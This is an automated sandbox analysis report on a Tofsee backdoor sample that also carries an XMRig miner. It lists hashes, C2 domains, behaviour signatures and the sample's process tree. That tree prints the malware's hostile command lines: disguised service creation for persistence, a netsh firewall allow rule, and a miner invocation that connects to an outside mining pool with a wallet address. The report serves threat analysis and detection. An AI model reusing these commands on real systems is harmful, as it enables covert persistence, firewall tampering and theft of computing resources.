Analysis

  • max time kernel
    147s
  • max time network
    141s
  • platform
    windows7_x64
  • resource
    win7-20231025-en
  • resource tags

    arch:x64arch:x86image:win7-20231025-enlocale:en-usos:windows7-x64system
  • submitted
    19/11/2023, 21:42

General

  • Target

    84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe

  • Size

    247KB

  • MD5

    17f7e745dbc9477f5edbb4a02df91b06

  • SHA1

    896216645904844e1c012a4ce76234d0c6795f97

  • SHA256

    84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96

  • SHA512

    b36ee1060d897d5b19e0e779ca48f9a7a336bcce2700c9c6c6eb549dfd9a49174262d39655079e0704a44749e280aefcb9813da4b7ce354b2105b74f374c2e9b

  • SSDEEP

    6144:h/1BvthPXgbdbpePeXYD4JFKtFF9duXI5:J1FLfOBsee44F9duXI

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe
    "C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1456
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\hdjyktdz\
      2⤵
        PID:2296
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\mggyblpb.exe" C:\Windows\SysWOW64\hdjyktdz\
        2⤵
          PID:2104
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create hdjyktdz binPath= "C:\Windows\SysWOW64\hdjyktdz\mggyblpb.exe /d\"C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2648
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description hdjyktdz "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start hdjyktdz
          2⤵
          • Launches sc.exe
          PID:2664
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2736
      • C:\Windows\SysWOW64\hdjyktdz\mggyblpb.exe
        C:\Windows\SysWOW64\hdjyktdz\mggyblpb.exe /d"C:\Users\Admin\AppData\Local\Temp\84e5c974047a59e9c250aa8e93a28b390267eea51a38a711bc28a229bf5eba96.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2688
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2676
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2888

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\mggyblpb.exe

        Filesize

        10.7MB

        MD5

        e16b1c87a400bd0abae18c4cc6c1b62e

        SHA1

        e33039861f76cf869669feb3b71ab2082ac5e583

        SHA256

        a1df071de48c9357fcb30a37d95ef7f96bc21ae3d32b642e7c132c69c19c86c5

        SHA512

        fd034dce23f4598e55bfe97fe6db35c7932c1c9088a43f415674762cf694752c7b80526511d5aa598d1353a3e1c71c41a84288ebaf9564057ef7a7935a1d0365

      • C:\Windows\SysWOW64\hdjyktdz\mggyblpb.exe

        Filesize

        10.7MB

        MD5

        e16b1c87a400bd0abae18c4cc6c1b62e

        SHA1

        e33039861f76cf869669feb3b71ab2082ac5e583

        SHA256

        a1df071de48c9357fcb30a37d95ef7f96bc21ae3d32b642e7c132c69c19c86c5

        SHA512

        fd034dce23f4598e55bfe97fe6db35c7932c1c9088a43f415674762cf694752c7b80526511d5aa598d1353a3e1c71c41a84288ebaf9564057ef7a7935a1d0365

      • memory/1456-1-0x0000000000580000-0x0000000000680000-memory.dmp

        Filesize

        1024KB

      • memory/1456-2-0x00000000002B0000-0x00000000002C3000-memory.dmp

        Filesize

        76KB

      • memory/1456-3-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/1456-6-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/1456-8-0x0000000000580000-0x0000000000680000-memory.dmp

        Filesize

        1024KB

      • memory/1456-9-0x00000000002B0000-0x00000000002C3000-memory.dmp

        Filesize

        76KB

      • memory/2676-39-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-42-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-14-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/2676-13-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2676-62-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2676-16-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2676-20-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2676-21-0x00000000000D0000-0x00000000000E5000-memory.dmp

        Filesize

        84KB

      • memory/2676-23-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2676-26-0x0000000001980000-0x0000000001B8F000-memory.dmp

        Filesize

        2.1MB

      • memory/2676-27-0x0000000000100000-0x0000000000106000-memory.dmp

        Filesize

        24KB

      • memory/2676-30-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-33-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-34-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-35-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-36-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-37-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-38-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-58-0x0000000000140000-0x0000000000147000-memory.dmp

        Filesize

        28KB

      • memory/2676-40-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-41-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-57-0x00000000059C0000-0x0000000005DCB000-memory.dmp

        Filesize

        4.0MB

      • memory/2676-43-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-44-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-45-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-46-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-47-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-48-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-49-0x0000000000110000-0x0000000000120000-memory.dmp

        Filesize

        64KB

      • memory/2676-50-0x0000000000120000-0x0000000000125000-memory.dmp

        Filesize

        20KB

      • memory/2676-53-0x0000000000120000-0x0000000000125000-memory.dmp

        Filesize

        20KB

      • memory/2676-54-0x00000000059C0000-0x0000000005DCB000-memory.dmp

        Filesize

        4.0MB

      • memory/2688-12-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/2688-11-0x0000000000270000-0x0000000000370000-memory.dmp

        Filesize

        1024KB

      • memory/2688-18-0x0000000000400000-0x00000000004F1000-memory.dmp

        Filesize

        964KB

      • memory/2888-63-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-64-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-73-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-72-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-74-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-75-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-76-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-77-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB

      • memory/2888-78-0x0000000000310000-0x0000000000401000-memory.dmp

        Filesize

        964KB